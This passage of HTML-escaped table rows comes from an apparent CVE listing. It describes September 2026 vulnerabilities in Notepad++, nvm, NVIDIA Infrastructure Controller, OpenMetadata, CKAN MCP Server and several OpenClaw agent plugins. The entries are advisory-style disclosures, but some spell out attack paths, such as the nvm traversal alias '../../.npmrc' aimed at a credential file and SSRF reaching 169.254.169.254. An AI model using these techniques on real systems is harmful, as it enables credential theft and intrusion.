&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9004&quot; target=&quot;_blank&quot;&gt;CVE-2026-9004&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;notepad-plus-plus--notepad-plus-plus&lt;/td&gt;
&lt;td&gt;Notepad++ is a free and open-source source code editor. Prior to 8.9.8, Notepad++ incompletely enforces shortcuts.xml HMAC validation because WM_MACRODLGRUNMACRO, the Run a Macro Multiple Times entry point, calls macroPlayback() without the validation used by command(). A tampered shortcuts.xml macro that is blocked through the Macro menu or a shortcut key can therefore execute through the multi-run dialog and invoke internal Notepad++ commands, including commands that launch external programs, in the current user context. This issue is fixed in version 8.9.8.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85288&quot; target=&quot;_blank&quot;&gt;CVE-2026-85288&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;notepad-plus-plus--notepad-plus-plus&lt;/td&gt;
&lt;td&gt;Notepad++ is a free and open-source source code editor. Prior to 8.9.8, the NPPM_SAVESESSION handler in PowerEditor/src/NppBigSwitch.cpp converts lParam to a sessionInfo pointer and dereferences its nbFile, files, and sessionFilePathName members without checking for null. A process running at the same or a higher Windows integrity level on the same desktop can send NPPM_SAVESESSION with a null lParam, immediately terminating Notepad++ and causing denial of service and loss of unsaved documents. This issue is fixed in version 8.9.8.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86056&quot; target=&quot;_blank&quot;&gt;CVE-2026-86056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;novuhq--novu&lt;/td&gt;
&lt;td&gt;Novu provides an API for sending notifications through multiple channels. Prior to 3.18.0, Novu integration mutation use cases including remove-integration, update-integration, auto-configure-integration, and set-integration-as-primary look up an integration by integrationId and organizationId without consistently enforcing environmentId. A caller with access to one environment in an organization can target an integration identifier from another environment and delete the integration, modify its credentials, change the primary provider, or trigger auto-configuration. The repository advisory defines both environment API keys and dashboard sessions as affected. The 3.18.0 change enforces the environment boundary only for environment-scoped API-key authentication, while its tests intentionally retain cross-environment dashboard-session behavior, so it does not completely remediate the advisory-defined scope. Version 3.18.0 is a partial fix attempt, and the dashboard-session behavior requires curator resolution.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75517&quot; target=&quot;_blank&quot;&gt;CVE-2026-75517&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Infrastructure Controller&lt;/td&gt;
&lt;td&gt;NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause uncontrolled resource consumption. A successful exploit of this vulnerability might lead to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65112&quot; target=&quot;_blank&quot;&gt;CVE-2026-65112&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Infrastructure Controller&lt;/td&gt;
&lt;td&gt;NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker may cause uncontrolled resource consumption. A successful exploit of this vulnerability may lead to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65115&quot; target=&quot;_blank&quot;&gt;CVE-2026-65115&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Infrastructure Controller&lt;/td&gt;
&lt;td&gt;NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause external control of a file name or path. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65125&quot; target=&quot;_blank&quot;&gt;CVE-2026-65125&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Infrastructure Controller&lt;/td&gt;
&lt;td&gt;NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause improper certificate validation. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65129&quot; target=&quot;_blank&quot;&gt;CVE-2026-65129&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Infrastructure Controller&lt;/td&gt;
&lt;td&gt;NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause use of a hard-coded password. A successful exploit of this vulnerability might lead to data tampering, denial of service, and information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65117&quot; target=&quot;_blank&quot;&gt;CVE-2026-65117&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Infrastructure Controller&lt;/td&gt;
&lt;td&gt;NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause an XML injection. A successful exploit of this vulnerability might lead to data tampering and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65124&quot; target=&quot;_blank&quot;&gt;CVE-2026-65124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Infrastructure Controller&lt;/td&gt;
&lt;td&gt;NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause improper enforcement of a behavioral workflow. A successful exploit of this vulnerability might lead to data tampering, denial of service, and information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65126&quot; target=&quot;_blank&quot;&gt;CVE-2026-65126&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Infrastructure Controller&lt;/td&gt;
&lt;td&gt;NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause exposure of sensitive system information due to uncleared debug information. A successful exploit of this vulnerability might lead to information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65127&quot; target=&quot;_blank&quot;&gt;CVE-2026-65127&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nvm-sh--nvm&lt;/td&gt;
&lt;td&gt;nvm resolves a requested version or alias by treating it as a filename under $NVM_DIR/alias. Before 0.40.8, nvm_alias() concatenated the requested name onto that directory and read the result with no containment check, so a name containing a `..` component escaped the alias directory; under the default layout an alias such as `../../.npmrc` resolves to a file in the user&#039;s home directory. nvm_print_alias_file() then emits every non-comment, non-empty line of whatever was opened. A version string taken from an untrusted .nvmrc reaches this path, so a developer who runs `nvm use`, `nvm install`, or `nvm which` inside an attacker-supplied repository discloses the first non-comment line of an arbitrary file readable by that user, in the resulting &quot;is not yet installed&quot; error message. A user-supplied `nvm alias &amp;lt;traversing-name&amp;gt;` discloses every non-comment line of the target file. There is no integrity or availability impact, and no command execution on this path.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94185&quot; target=&quot;_blank&quot;&gt;CVE-2026-94185&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;obot-platform--obot&lt;/td&gt;
&lt;td&gt;Obot versions before v0.23.0 fail to enforce authentication on MCP Registry endpoints under /v0.1/* when registry authentication is enabled. Unauthenticated attackers can read registry metadata including server names, descriptions, repository URLs, and connect URLs by sending GET requests to /v0.1/servers.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101063&quot; target=&quot;_blank&quot;&gt;CVE-2026-101063&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;oceanwp--Ocean Extra&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in Ocean Extra &amp;lt;= 2.6.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94684&quot; target=&quot;_blank&quot;&gt;CVE-2026-94684&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oleh RadiusTheme--Team&lt;/td&gt;
&lt;td&gt;Unauthenticated Insecure Direct Object References (IDOR) in Team &amp;lt;= 6.0.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95592&quot; target=&quot;_blank&quot;&gt;CVE-2026-95592&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Omega Solution--FBP Fulfillment by People&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in Omega Solution FBP Fulfillment by People 2025. This impacts an unknown function of the file /user/ of the component User Profile API. The manipulation of the argument ID leads to authorization bypass. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94152&quot; target=&quot;_blank&quot;&gt;CVE-2026-94152&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Omega Solution--HRM OS&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Omega Solution HRM OS up to 20260717. This affects an unknown function of the file /role-permission/permission of the component Role Permission API. Executing a manipulation of the argument roleId can lead to missing authentication. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94151&quot; target=&quot;_blank&quot;&gt;CVE-2026-94151&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Omega Solution--HRM OS&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Omega Solution HRM OS up to 20260717. The affected element is an unknown function of the file /role-permission/permission of the component Role Permission Retrieval Endpoint. Such manipulation of the argument roleId leads to improper control of resource identifiers. The attack can be launched remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94149&quot; target=&quot;_blank&quot;&gt;CVE-2026-94149&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ondata--ckan-mcp-server&lt;/td&gt;
&lt;td&gt;CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.108, the SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (`169.254.169.254`). This is a third bypass of the same guard, and it reaches IMDS - strictly more than CVE-2026-53509, which only reached loopback. Version 0.4.108 contains an updated fix.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61612&quot; target=&quot;_blank&quot;&gt;CVE-2026-61612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;onSite internet GmbH--Auktion NG Auktionssoftware&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in onSite internet GmbH Auktion NG Auktionssoftware up to 20260722. This affects an unknown part of the file /forgotpasswd.html of the component Public Password Reset Endpoint. The manipulation of the argument email leads to cross site scripting. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96258&quot; target=&quot;_blank&quot;&gt;CVE-2026-96258&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-metadata--OpenMetadata&lt;/td&gt;
&lt;td&gt;OpenMetadata through 2.0.2 contains a server-side request forgery vulnerability in the URLValidator.validateURL function that fails to properly resolve DNS hostnames and validate internal addresses. Users permitted to create or update EventSubscription can set webhook destinations to internal hosts, allowing the server to send requests to private networks and cloud metadata endpoints while returning HTTP status codes that enable blind SSRF probing.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100373&quot; target=&quot;_blank&quot;&gt;CVE-2026-100373&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--clawhub&lt;/td&gt;
&lt;td&gt;ClawHub (openclaw/clawhub application/backend) contains a missing authorization check in the changelog preview feature. A signed-in caller can invoke the public skills:generateChangelogPreview action for a skill they are not authorized to access; the previous version is read without the file-read authorization enforced on normal content access, and up to 8,000 characters of quarantined content may be submitted to the AI provider and reflected in the preview returned to the caller, disclosing restricted skill content. The issue was confirmed at revision cbfee7343ddc867316dd9b3de6fa8856730f9f41; the complete historical affected range was not established. It is fixed by PR #3682, included in revision 8c2de6c506bb4efabe3f0c2ffb8370b9e23d4650, which was deployed to clawhub.ai on 2026-09-11; self-hosted deployments should update to that revision or a later descendant. The npm CLI and OpenClaw runtime are separate products and are not affected.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100602&quot; target=&quot;_blank&quot;&gt;CVE-2026-100602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--clawhub&lt;/td&gt;
&lt;td&gt;ClawHub (the openclaw/clawhub application/backend) does not bind anonymous HTTP API requests to a trusted caller identity, so all direct anonymous API requests share a single default quota allowance. A remote, unauthenticated caller can drain that shared allowance and thereby deny or degrade API access for unrelated visitors. In addition, when the TRUST_FORWARDED_IPS option is enabled without an authenticated edge/proxy, clients can supply arbitrary forwarded IP headers to select quota identities of their choosing and evade rate limiting. The issue was confirmed at revision cbfee7343ddc867316dd9b3de6fa8856730f9f41; the complete historical affected range was not established. It is fixed in revision 8c2de6c506bb4efabe3f0c2ffb8370b9e23d4650 (PR #3684), where direct anonymous calls are redirected to the public API origin without consuming quota and forged identity assertions return HTTP 401. The npm CLI and OpenClaw runtime are separate products and are not affected.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100600&quot; target=&quot;_blank&quot;&gt;CVE-2026-100600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--clawhub&lt;/td&gt;
&lt;td&gt;ClawHub (openclaw/clawhub) application/backend contains a server-side request forgery vulnerability in the public profile preview&#039;s image fetching. The preview accepts a user-supplied image URL and checks the textual hostname against private-address patterns, but does not validate or pin the resolved network destination, so a public-looking hostname can resolve to an internal address or change resolution between validation and connection (DNS rebinding). A maintainer-run local harness demonstrated an outbound connection to an owner-controlled loopback listener; access to production internal services, credential disclosure, and code execution were not demonstrated. The issue was confirmed at revision cbfee7343ddc867316dd9b3de6fa8856730f9f41; the complete historical affected range was not established. Fixed by PR #3683, included in revision 8c2de6c506bb4efabe3f0c2ffb8370b9e23d4650, which was deployed to clawhub.ai on 2026-09-11; self-hosted deployments should update to that revision or a later descendant. The npm CLI and OpenClaw runtime are separate products and are not affected.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100601&quot; target=&quot;_blank&quot;&gt;CVE-2026-100601&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--clawhub&lt;/td&gt;
&lt;td&gt;ClawHub (openclaw/clawhub) application/backend contains a flaw in the skill report moderation flow: four distinct ordinary authenticated accounts can report a visible skill and trigger automatic hiding (moderationStatus: hidden) of that skill from the catalog without any moderator decision. Because the reporter quota counts only reports filed against visible targets, the same accounts can repeat the process against additional skills; official skills are not exempt. The issue was confirmed at revision cbfee7343ddc867316dd9b3de6fa8856730f9f41; the complete historical affected range was not established. The fix (PR #3681) is included in revision 8c2de6c506bb4efabe3f0c2ffb8370b9e23d4650; self-hosted deployments should update to that revision or a later descendant. The npm CLI and OpenClaw runtime are separate products and are not affected.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100603&quot; target=&quot;_blank&quot;&gt;CVE-2026-100603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--clawhub&lt;/td&gt;
&lt;td&gt;ClawHub (openclaw/clawhub) contains an incorrect authorization vulnerability in the ClawHub application/backend: an organization-owned skill retains the ownerUserId of its original publisher, and transfer and lifecycle authorization checks trust that historical user before requiring current organization privileges. An authenticated user who originally published an organization skill can therefore transfer, delete, or restore that skill - taking control of its trusted name and history - even after their organization privileges have been revoked or downgraded. The issue was confirmed at revision cbfee7343ddc867316dd9b3de6fa8856730f9f41; the complete historical affected range was not established. It is fixed by PR #3680, included in revision 8c2de6c506bb4efabe3f0c2ffb8370b9e23d4650, which was deployed to clawhub.ai on 2026-09-11; self-hosted deployments should update to that revision or a later descendant. The npm CLI and OpenClaw runtime are separate products and are not affected.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100604&quot; target=&quot;_blank&quot;&gt;CVE-2026-100604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--diagnostics-prometheus&lt;/td&gt;
&lt;td&gt;The OpenClaw Prometheus diagnostics plugin (@openclaw/diagnostics-prometheus) before version 2026.9.3 does not enforce the operator.read scope on its authenticated metrics endpoint. In deployments using an identity-bearing Gateway authentication mode such as trusted-proxy, a caller whose effective role has no read scope can retrieve the diagnostics document even though ordinary read methods reject the same identity, disclosing operational metrics to an authenticated profile intentionally limited below read access. Shared-secret Gateway callers already hold the documented full operator scope and are not affected. The issue is fixed in 2026.9.3; as a workaround, disable the Prometheus endpoint or ensure every identity that can reach it is intended to hold operator.read.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100525&quot; target=&quot;_blank&quot;&gt;CVE-2026-100525&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--discord&lt;/td&gt;
&lt;td&gt;OpenClaw&#039;s Discord integration (npm package @openclaw/discord) before version 2026.9.3 could lose the sender-scoped media policy in the emoji and sticker upload actions before loading a local file. A sender permitted to invoke those actions could cause OpenClaw to read a host path that the same sender&#039;s configured media roots would otherwise reject, placing bytes from an out-of-policy local file into an outbound emoji or sticker upload. Exploitation requires access to the guild asset action and knowledge or derivation of a useful local path; the issue does not permit unrestricted filesystem browsing or code execution. The issue is fixed in @openclaw/discord 2026.9.3.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100526&quot; target=&quot;_blank&quot;&gt;CVE-2026-100526&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--discord&lt;/td&gt;
&lt;td&gt;OpenClaw Discord versions before 2026.7.1 contain an authorization bypass vulnerability in guild metadata read actions that allows lower-trust senders to retrieve information excluded by channel allowlists. Attackers can bypass the configured Discord read-target policy to access guild metadata from servers or channels outside the operator&#039;s allowlist.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100583&quot; target=&quot;_blank&quot;&gt;CVE-2026-100583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--feishu&lt;/td&gt;
&lt;td&gt;OpenClaw Feishu before 2026.8.1 fails to validate whether a configured default account is disabled before selecting it for model tool operations. Attackers can exploit multi-account setups where a disabled default account retains credentials to read or modify Feishu resources through a revoked identity.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100540&quot; target=&quot;_blank&quot;&gt;CVE-2026-100540&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--line&lt;/td&gt;
&lt;td&gt;OpenClaw LINE versions before 2026.8.1 contain an access control vulnerability where group allowlist mode silently inherits DM allowFrom values when groupAllowFrom is not explicitly configured. Attackers with group participation can trigger the agent despite configured group allowlist restrictions when DM access is broader than intended group access.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100566&quot; target=&quot;_blank&quot;&gt;CVE-2026-100566&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--msteams&lt;/td&gt;
&lt;td&gt;OpenClaw channel plugins (@openclaw/msteams, @openclaw/feishu, @openclaw/matrix, and @openclaw/googlechat) before 2026.8.1 do not enforce the configured channel read allowlist for caller-supplied explicit read targets in message, reaction, pin, member, and related metadata read actions. A lower-trust sender or a steered agent with access to a channel read action can therefore retrieve content or metadata from channels or rooms excluded by the operator&#039;s read policy; the practical impact depends on the permissions held by the connected bot account. The issue is fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100582&quot; target=&quot;_blank&quot;&gt;CVE-2026-100582&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 contain an authorization scope widening vulnerability in file-transfer allow-always approvals that allows attackers to reuse standing grants for unreviewed paths. Attackers can exploit glob metacharacter interpretation and node display name reuse to access sibling paths or different nodes beyond the operator&#039;s original approval scope.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100529&quot; target=&quot;_blank&quot;&gt;CVE-2026-100529&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 fail to validate all source fields in structured message attachments, allowing attackers to hide unvalidated host paths behind allowed attachment sources. Attackers can exploit this by providing multiple source fields to bypass sandbox path validation and cause Telegram delivery to read and send known host files that would otherwise be rejected.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100536&quot; target=&quot;_blank&quot;&gt;CVE-2026-100536&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) before 2026.8.1 does not apply the originating sender&#039;s global or per-agent toolsBySender policy when handling outbound attachments. A sender that has been explicitly denied filesystem read tools can still cause a known local file to be read and returned via a final-response media directive or a message attachment, disclosing local file contents to an admitted requester whose agent turn did not include the read tool. Exploitation requires knowledge or derivation of a useful host path and a delivery flow that accepts local attachments. The issue is fixed in version 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100538&quot; target=&quot;_blank&quot;&gt;CVE-2026-100538&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package `openclaw`) versions &amp;gt;= 2026.7.2 and &amp;lt; 2026.9.2 contain a race condition in the Discord realtime voice transcript path. Concurrent control-classified voice transcripts could consume speaker context belonging to another participant after an asynchronous control check, causing a transcript to inherit another speaker&#039;s owner status. In Discord agent-proxy voice sessions using the affected realtime control path, an utterance from a non-owner participant could reach the downstream agent boundary marked as owner, so owner-sensitive behavior is applied to the wrong speaker. Exploitation depends on concurrent transcript timing and on the tools and commands available to the affected agent. The issue is fixed in 2026.9.2; as a workaround, disable Discord realtime voice for agents that distinguish owner and non-owner senders.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100546&quot; target=&quot;_blank&quot;&gt;CVE-2026-100546&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
